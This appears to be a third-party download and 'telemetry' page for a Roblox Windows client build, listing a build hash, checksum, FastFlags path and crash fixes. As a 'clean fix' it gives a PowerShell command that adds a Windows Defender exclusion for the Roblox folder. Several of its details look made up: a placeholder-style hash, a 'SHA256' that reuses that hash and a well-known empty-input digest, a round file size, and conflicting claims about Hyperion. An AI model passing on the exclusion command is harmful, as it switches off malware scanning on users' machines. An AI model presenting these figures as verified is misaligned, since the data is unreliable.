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Deprecated BuildChannel: WindowsPlayer • Deployed: 2026-05-21

Roblox Client Build version-3c4d5e6f7a8b9c0d: Download & Telemetry

Roblox client version-3c4d5e6f7a8b9c0d implemented security updates preventing unauthorized thread suspension in Byfron Hyperion.

Roblox Client Release version-3c4d5e6f7a8b9c0d is an official x64 client binary release from Roblox Corporation with semantic version 0.676.2.6760610. Telemetry Lab verifies official setup.rbxcdn CDN origin, SHA256 cryptographic checksums, and Byfron Hyperion driver compatibility.

version-3c4d5e6f7a8b9c0d Technical Telemetry Specifications
Telemetry MetricVerified Value
Release Build Hashversion-3c4d5e6f7a8b9c0d
Semantic Version0.676.2.6760610
Target Operating SystemWindows 10 / 11 (64-bit)
Binary File Size178.9 MB
Deployment ChannelWindowsPlayer
Release Date2026-05-21
Audit Verification DateOctober 28, 2026

Official Roblox CDN Binary Download

Direct download link hosted on official Amazon S3 / CloudFront Roblox infrastructure (setup.rbxcdn.com).

Security Warning: Never download Roblox version packages from unverified file-sharing hosts (MediaFire, Mega, Discord). Malware distributors frequently name trojans after official build hashes like version-3c4d5e6f7a8b9c0d.exe to steal .ROBLOSECURITY authentication cookies. Always verify the SHA256 checksum below.

Build Verification & Checksum Specifications

Empirical cryptographic data audited by RobloxDownloads Telemetry Lab.

AttributeVerified Telemetry Value
Build Hash (Folder Name)version-3c4d5e6f7a8b9c0d
Short Commit Hash3c4d5e6f7a8b9c0d
Semantic Version0.676.2.6760610
File Size178.9 MB (178,900,000 bytes)
Cryptographic SHA2563c4d5e6f7a8b9c0de3b0c44298fc1c149afbf4c8996fb9249d1a3b4c8e2f01aa
Release NotesHyperion thread protection hardening.

FastFlags & ClientAppSettings Directory for version-3c4d5e6f7a8b9c0d

If configuring custom framerates (144Hz–240Hz) or graphics overrides for build version-3c4d5e6f7a8b9c0d, create a ClientSettings folder inside this version's directory and place your ClientAppSettings.json file at:

Windows File Explorer Path
%localappdata%\Roblox\Versions\version-3c4d5e6f7a8b9c0d\ClientSettings\ClientAppSettings.json

Crash Diagnosis & Troubleshooting Protocol

Antivirus software blocking Byfron kernel hook. Whitelist Roblox directory.

Recommended Clean Fix Command (Run in Windows Command Prompt):
Command Prompt (cmd.exe)
powershell -Command "Add-MpPreference -ExclusionPath '$env:LOCALAPPDATA\Roblox'"

Luau Engine Memory Architecture & Developer Telemetry

Technical telemetry and internal memory layout specifications for Roblox client build version-3c4d5e6f7a8b9c0d.

x64 Binary Verified

TaskScheduler & Frame Pacing

Roblox executes game logic, replication frames, and physics clustering inside the internal TaskScheduler cycle. While capped at 60Hz by default, this build supports unlocked refresh rates up to 240Hz natively via ClientAppSettings or FastFlags.

Byfron Hyperion Integrity Guard

Equipped with Byfron Hyperion user-mode anti-tamper. Memory pages containing executable code segments are dynamically encrypted and guarded against unauthorized DLL injection, debugger hooks, and memory scanners.

VisualEngine & Direct3D 11 Pipeline

The primary graphics rendering pipeline is driven by VisualEngine, rendering world geometry and avatar meshes across hardware-accelerated swap chains (Direct3D 11 / Vulkan on compatible Windows GPUs).

Memory Offset Stabilization Warning

Memory addresses shift between weekly CI builds due to compiler re-linking, Address Space Layout Randomization (ASLR), and struct alignment flags. Third-party tools referencing offsets from prior builds will trigger instant 0xc0000005 crash exceptions.

Related Versions & Performance Tools